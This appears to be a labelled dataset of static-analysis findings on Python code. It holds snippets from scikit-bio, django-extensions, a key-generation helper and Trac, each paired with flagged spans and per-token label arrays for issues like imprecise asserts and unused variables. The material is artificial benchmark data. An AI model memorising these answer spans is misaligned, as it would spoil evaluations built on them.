"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Factory_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Simple", " ", "WS", "DL", " ", "object", " ", "factor", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "cvar", " ", "tags", ":", " ", "Dict", "ionar", "y", " ", "of", " ", "tag", "->", "construct", "or", " ", "mapping", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "tags", ":", " ", "dict", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tags_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "import", "'_", ":_", "Import_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "types", "'_", ":_", "Types_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "Message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "Type", "'_", ":_", "Port", "Type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bindi", "ng", "'_", ":_", "Binding_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "service", "'_", ":_", "Service_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Factory_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create_", "(_", "cls_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "an", " ", "object", " ", "based", " ", "on", " ", "the", " ", "root", " ", "tag", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "created", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "L", "{", "WO", "bject", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "cls_", "._", "tags_", "._", "get_", "(_", "root_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fn_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "fn_", "(_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
biocore/scikit-bio/skbio/tree/tests/test_nj.py
[ { "content": " def test_nj_zero_branch_length(self):\n # no nodes have negative branch length when we disallow negative\n # branch length. self is excluded as branch length is None\n tree = nj(self.dm4)\n for n in tree.postorder(include_self=False):\n self.assertTrue(n.length >= 0)\n # only tips associated with the large distance in the input\n # have positive branch lengths when we allow negative branch\n # length\n tree = nj(self.dm4, False)\n self.assertTrue(tree.find('a').length > 0)\n self.assertTrue(tree.find('b').length < 0)\n self.assertTrue(tree.find('c').length < 0)\n self.assertTrue(tree.find('d').length < 0)\n self.assertTrue(tree.find('e').length > 0)", "metadata": "root.NjTests.test_nj_zero_branch_length", "header": "['class', 'NjTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 95 } ]
[ { "span": "self.assertTrue(n.length >= 0)", "start_line": 100, "start_column": 12, "end_line": 100, "end_column": 42 }, { "span": "self.assertTrue(tree.find('a').length > 0)", "start_line": 105, "start_column": 8, "end_line": 105, "end_column": 50 }, { "span": "self.assertTrue(tree.find('b').length < 0)", "start_line": 106, "start_column": 8, "end_line": 106, "end_column": 50 }, { "span": "self.assertTrue(tree.find('c').length < 0)", "start_line": 107, "start_column": 8, "end_line": 107, "end_column": 50 }, { "span": "self.assertTrue(tree.find('d').length < 0)", "start_line": 108, "start_column": 8, "end_line": 108, "end_column": 50 }, { "span": "self.assertTrue(tree.find('e').length > 0)", "start_line": 109, "start_column": 8, "end_line": 109, "end_column": 50 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Nj", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nj", "\\u", "zero", "\\u", "branch", "\\u", "length_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "no", " ", "nodes", " ", "have", " ", "negati", "ve", " ", "branch", " ", "length", " ", "whe", "n", " ", "we", " ", "disallow", " ", "negative_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "branch", " ", "length", ".", " ", "self", " ", "is", " ", "exclu", "ded", " ", "as", " ", "branch", " ", "length", " ", "is", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tree_", "=_", "nj", "_", "(_", "self_", "._", "dm", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "tree_", "._", "post", "order_", "(_", "include", "\\u", "self_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "n_", "._", "length_", ">=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "only", " ", "tips", " ", "associate", "d", " ", "with", " ", "the", " ", "large", " ", "distance", " ", "in", " ", "the", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "have", " ", "posit", "ive", " ", "branch", " ", "length", "s", " ", "whe", "n", " ", "we", " ", "allow", " ", "negati", "ve", " ", "branch_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "length_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tree_", "=_", "nj", "_", "(_", "self_", "._", "dm", "4_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tree_", "._", "find_", "(_", "'", "a", "'_", ")_", "._", "length_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tree_", "._", "find_", "(_", "'", "b", "'_", ")_", "._", "length_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tree_", "._", "find_", "(_", "'", "c", "'_", ")_", "._", "length_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tree_", "._", "find_", "(_", "'", "d", "'_", ")_", "._", "length_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tree_", "._", "find_", "(_", "'", "e", "'_", ")_", "._", "length_", ">_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
mozilla/inventory/vendor-local/src/django-extensions/build/lib/django_extensions/db/fields/encrypted.py
[ { "content": " def __init__(self, *args, **kwargs):\n if not hasattr(settings, 'ENCRYPTED_FIELD_KEYS_DIR'):\n raise ImproperlyConfigured('You must set the '\n 'ENCRYPTED_FIELD_KEYS_DIR setting to your Keyczar keys directory.')\n self.crypt = keyczar.Crypter.Read(settings.ENCRYPTED_FIELD_KEYS_DIR)\n\n # Encrypted size is larger than unencrypted\n self.unencrypted_length = max_length\n if max_length:\n max_length = len(self.prefix) + \\\n len(self.crypt.Encrypt('x'*max_length))\n\n super(BaseEncryptedField, self).__init__(*args, **kwargs)", "metadata": "root.BaseEncryptedField.__init__", "header": "['class', 'BaseEncryptedField', '(', 'models', '.', 'Field', ')', ':', '___EOS___']", "index": 16 } ]
[ { "span": "max_length ", "start_line": 25, "start_column": 12, "end_line": 25, "end_column": 22 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Base", "Encrypt", "ed", "Field_", "(_", "models_", "._", "Field_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "settings_", ",_", "'", "ENCRYPT", "ED", "\\u", "FIE", "LD", "\\u", "KEYS", "\\u", "DIR", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Impro", "perl", "y", "Configured_", "(_", "'", "You", " ", "must", " ", "set", " ", "the", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ENCRYPT", "ED", "\\u", "FIE", "LD", "\\u", "KEYS", "\\u", "DIR", " ", "setti", "ng", " ", "to", " ", "your", " ", "Key", "cz", "ar", " ", "keys", " ", "director", "y", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "crypt_", "=_", "keyc", "zar", "_", "._", "Crypt", "er_", "._", "Read_", "(_", "settings_", "._", "ENCRYPT", "ED", "\\u", "FIE", "LD", "\\u", "KEYS", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Encrypt", "ed", " ", "size", " ", "is", " ", "large", "r", " ", "than", " ", "une", "ncr", "ypt", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "une", "ncr", "ypt", "ed", "\\u", "length_", "=_", "max", "\\u", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "\\u", "length_", "=_", "len_", "(_", "self_", "._", "prefix_", ")_", "+_", "len_", "(_", "self_", "._", "crypt_", "._", "Encrypt", "_", "(_", "'", "x", "'_", "*_", "max", "\\u", "length_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Base", "Encrypt", "ed", "Field_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
bloomark/f13x/admin_utils/addrgen.py
[ { "content": " def get_secret(self):\n bn = ssl.EC_KEY_get0_private_key(self.k);\n bytes = (ssl.BN_num_bits(bn) + 7) / 8\n mb = ctypes.create_string_buffer(bytes)\n n = ssl.BN_bn2bin(bn, mb);\n return mb.raw.rjust(32, chr(0))", "metadata": "root.KEY.get_secret", "header": "['class', 'KEY', ':', '___EOS___']", "index": 53 } ]
[ { "span": "n ", "start_line": 57, "start_column": 8, "end_line": 57, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "KEY_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "secret_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bn_", "=_", "ssl_", "._", "EC", "\\u", "KEY", "\\u", "get", "0", "\\u", "private", "\\u", "key_", "(_", "self_", "._", "k_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bytes_", "=_", "(_", "ssl_", "._", "BN", "\\u", "num", "\\u", "bits_", "(_", "bn_", ")_", "+_", "7_", ")_", "/_", "8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mb_", "=_", "ctypes_", "._", "create", "\\u", "string", "\\u", "buffer_", "(_", "bytes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "ssl_", "._", "BN", "\\u", "bn", "2b", "in_", "(_", "bn_", ",_", "mb_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "mb_", "._", "raw_", "._", "rjust_", "(_", "32_", ",_", "chr_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__eq__` not overridden when adding attributes
edgewall/trac/trac/web/session.py
[ { "content": "class DetachedSession(dict):\n\n\n\n\n\n", "metadata": "root.DetachedSession", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def __init__(self, env, sid):\n dict.__init__(self)\n self.env = env\n self.sid = None\n if sid:\n self.get_session(sid, authenticated=True)\n else:\n self.authenticated = False\n self.last_visit = 0\n self._new = True\n self._old = {}", "metadata": "root.DetachedSession.__init__", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 44 }, { "content": " def __setitem__(self, key, value):\n dict.__setitem__(self, key, unicode(value))", "metadata": "root.DetachedSession.__setitem__", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 56 }, { "content": " def as_bool(self, key, default=None):\n \"\"\"Return the value as a boolean. Return `default` if\n if an exception is raised while converting the value to a\n boolean.\n\n :param key: the name of the session attribute\n :keyword default: the value to return if the parameter is not\n specified or an exception occurs converting\n the value to a boolean.\n\n :since: 1.2\n \"\"\"\n if key not in self:\n return default\n return as_bool(self[key], default)", "metadata": "root.DetachedSession.as_bool", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 59 }, { "content": " def as_int(self, key, default=None, min=None, max=None):\n \"\"\"Return the value as an integer. Return `default` if\n if an exception is raised while converting the value to an\n integer.\n\n :param key: the name of the session attribute\n :keyword default: the value to return if the parameter is not\n specified or an exception occurs converting\n the value to an integer.\n :keyword min: lower bound to which the value is limited\n :keyword max: upper bound to which the value is limited\n\n :since: 1.2\n \"\"\"\n if key not in self:\n return default\n return as_int(self[key], default, min, max)", "metadata": "root.DetachedSession.as_int", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 75 }, { "content": " def set(self, key, value, default=None):\n \"\"\"Set a variable in the session, or remove it if it's equal to the\n default value.\n \"\"\"\n value = unicode(value)\n if default is not None:\n default = unicode(default)\n if value == default:\n self.pop(key, None)\n return\n dict.__setitem__(self, key, value)", "metadata": "root.DetachedSession.set", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 93 }, { "content": " def get_session(self, sid, authenticated=False):\n self.env.log.debug(\"Retrieving session for ID %r\", sid)\n\n with self.env.db_query as db:\n self.sid = sid\n self.authenticated = authenticated\n self.clear()\n\n for last_visit, in db(\"\"\"\n SELECT last_visit FROM session\n WHERE sid=%s AND authenticated=%s\n \"\"\", (sid, int(authenticated))):\n self._new = False\n self.last_visit = int(last_visit or 0)\n self.update(db(\"\"\"\n SELECT name, value FROM session_attribute\n WHERE sid=%s and authenticated=%s\n \"\"\", (sid, int(authenticated))))\n self._old = self.copy()\n break\n else:\n self.last_visit = 0\n self._new = True\n self._old = {}", "metadata": "root.DetachedSession.get_session", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 105 }, { "content": " def save(self):\n items = self.items()\n if not self._old and not items:\n # The session doesn't have associated data, so there's no need to\n # persist it\n return\n\n authenticated = int(self.authenticated)\n now = int(time_now())\n\n # We can't do the session management in one big transaction,\n # as the intertwined changes to both the session and\n # session_attribute tables are prone to deadlocks (#9705).\n # Therefore we first we save the current session, then we\n # eventually purge the tables.\n\n session_saved = False\n\n with self.env.db_transaction as db:\n # Try to save the session if it's a new one. A failure to\n # do so is not critical but we nevertheless skip the\n # following steps.\n\n if self._new:\n self.last_visit = now\n self._new = False\n # The session might already exist even if _new is True since\n # it could have been created by a concurrent request (#3563).\n try:\n db(\"\"\"INSERT INTO session (sid, last_visit, authenticated)\n VALUES (%s,%s,%s)\n \"\"\", (self.sid, self.last_visit, authenticated))\n except self.env.db_exc.IntegrityError:\n self.env.log.warning('Session %s already exists', self.sid)\n db.rollback()\n return\n\n # Remove former values for session_attribute and save the\n # new ones. The last concurrent request to do so \"wins\".\n\n if self._old != self:\n if self._old.get('name') != self.get('name') or \\\n self._old.get('email') != self.get('email'):\n self.env.invalidate_known_users_cache()\n if not items and not authenticated:\n # No need to keep around empty unauthenticated sessions\n db(\"DELETE FROM session WHERE sid=%s AND authenticated=0\",\n (self.sid,))\n db(\"\"\"DELETE FROM session_attribute\n WHERE sid=%s AND authenticated=%s\n \"\"\", (self.sid, authenticated))\n self._old = dict(self.items())\n # The session variables might already have been updated by a\n # concurrent request.\n try:\n db.executemany(\"\"\"\n INSERT INTO session_attribute\n (sid,authenticated,name,value)\n VALUES (%s,%s,%s,%s)\n \"\"\", [(self.sid, authenticated, k, v)\n for k, v in items])\n except self.env.db_exc.IntegrityError:\n self.env.log.warning('Attributes for session %s already '\n 'updated', self.sid)\n db.rollback()\n return\n session_saved = True\n\n # Purge expired sessions. We do this only when the session was\n # changed as to minimize the purging.\n\n if session_saved and now - self.last_visit > UPDATE_INTERVAL:\n self.last_visit = now\n mintime = now - PURGE_AGE\n\n with self.env.db_transaction as db:\n # Update the session last visit time if it is over an\n # hour old, so that session doesn't get purged\n self.env.log.info(\"Refreshing session %s\", self.sid)\n db(\"\"\"UPDATE session SET last_visit=%s\n WHERE sid=%s AND authenticated=%s\n \"\"\", (self.last_visit, self.sid, authenticated))\n self.env.log.debug('Purging old, expired, sessions.')\n db(\"\"\"DELETE FROM session_attribute\n WHERE authenticated=0 AND sid IN (\n SELECT sid FROM session\n WHERE authenticated=0 AND last_visit < %s\n )\n \"\"\", (mintime,))\n\n # Avoid holding locks on lot of rows on both session_attribute\n # and session tables\n with self.env.db_transaction as db:\n db(\"\"\"\n DELETE FROM session\n WHERE authenticated=0 AND last_visit < %s\n \"\"\", (mintime,))", "metadata": "root.DetachedSession.save", "header": "['class', 'DetachedSession', '(', 'dict', ')', ':', '___EOS___']", "index": 130 } ]
[ { "span": "class DetachedSession(dict):", "start_line": 43, "start_column": 0, "end_line": 43, "end_column": 28 } ]
[ { "span": "self.env ", "start_line": 46, "start_column": 8, "end_line": 46, "end_column": 16 }, { "span": "self.sid ", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 16 }, { "span": "self.authenticated ", "start_line": 51, "start_column": 12, "end_line": 51, "end_column": 30 }, { "span": "self.last_visit ", "start_line": 52, "start_column": 12, "end_line": 52, "end_column": 27 }, { "span": "self._new ", "start_line": 53, "start_column": 12, "end_line": 53, "end_column": 21 }, { "span": "self._old ", "start_line": 54, "start_column": 12, "end_line": 54, "end_column": 21 }, { "span": "self.sid ", "start_line": 109, "start_column": 12, "end_line": 109, "end_column": 20 }, { "span": "self.authenticated ", "start_line": 110, "start_column": 12, "end_line": 110, "end_column": 30 }, { "span": "self._new ", "start_line": 117, "start_column": 16, "end_line": 117, "end_column": 25 }, { "span": "self.last_visit ", "start_line": 118, "start_column": 16, "end_line": 118, "end_column": 31 }, { "span": "self._old ", "start_line": 123, "start_column": 16, "end_line": 123, "end_column": 25 }, { "span": "self.last_visit ", "start_line": 126, "start_column": 16, "end_line": 126, "end_column": 31 }, { "span": "self._new ", "start_line": 127, "start_column": 16, "end_line": 127, "end_column": 25 }, { "span": "self._old ", "start_line": 128, "start_column": 16, "end_line": 128, "end_column": 25 }, { "span": "self.last_visit ", "start_line": 154, "start_column": 16, "end_line": 154, "end_column": 31 }, { "span": "self._new ", "start_line": 155, "start_column": 16, "end_line": 155, "end_column": 25 }, { "span": "self._old ", "start_line": 181, "start_column": 16, "end_line": 181, "end_column": 25 }, { "span": "self.last_visit ", "start_line": 202, "start_column": 12, "end_line": 202, "end_column": 27 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "env_", ",_", "sid_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dict_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "env_", "=_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sid_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "\\u", "session_", "(_", "sid_", ",_", "authenticated_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "authenticated_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "visit_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "new_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "old_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setitem\\u\\u_", "(_", "self_", ",_", "key_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dict_", "._", "\\u\\u", "setitem\\u\\u_", 